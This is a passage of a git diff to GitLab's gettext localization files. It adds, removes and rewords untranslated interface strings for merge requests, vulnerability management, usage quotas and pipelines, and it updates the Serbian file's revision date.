msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34654,6 +35263,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34750,9 +35362,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34765,9 +35374,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35143,6 +35749,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35161,12 +35770,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35215,6 +35818,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35269,12 +35878,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35284,6 +35896,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35419,9 +36034,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35464,6 +36076,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35563,7 +36178,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36109,6 +36724,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36133,6 +36751,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36238,10 +36859,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36262,9 +36883,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36325,6 +36943,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36496,7 +37117,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36553,6 +37174,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36751,9 +37378,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36859,6 +37483,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36943,9 +37570,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37054,6 +37678,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37096,6 +37723,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37105,9 +37735,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37120,9 +37747,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37177,12 +37801,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37192,9 +37810,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37207,9 +37831,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37243,18 +37864,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37300,9 +37909,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37495,9 +38101,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37801,9 +38404,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38029,6 +38629,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38053,6 +38665,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38152,6 +38767,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38263,6 +38881,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38275,9 +38896,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38293,6 +38911,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38302,7 +38923,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38314,6 +38938,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38338,9 +38965,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38353,10 +38986,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38530,7 +39163,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38836,6 +39469,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38848,7 +39484,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39022,6 +39658,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39031,7 +39673,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39145,6 +39787,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39418,13 +40063,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39460,6 +40102,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39490,12 +40135,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39547,6 +40198,12 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39595,6 +40252,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39730,9 +40390,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39817,7 +40474,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39883,6 +40540,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40075,6 +40738,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40090,15 +40756,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40108,6 +40768,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40174,9 +40837,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40273,6 +40933,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40306,9 +40969,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40480,6 +41140,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40489,6 +41152,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40513,6 +41179,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40549,6 +41218,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40924,21 +41596,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41092,9 +41752,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41125,13 +41782,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41143,6 +41800,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41161,9 +41821,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41206,9 +41863,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41242,6 +41896,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41251,12 +41908,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41293,21 +41956,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41320,6 +41998,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41359,9 +42046,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41392,9 +42076,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41410,39 +42091,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41605,6 +42277,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41788,9 +42472,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41815,6 +42496,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index 57c46b68756..60ab8b71748 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -271,6 +268,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -331,6 +334,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -409,6 +418,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -472,6 +487,12 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -553,6 +574,12 @@ msgstr[2] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -778,7 +805,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -832,6 +859,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -865,9 +895,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
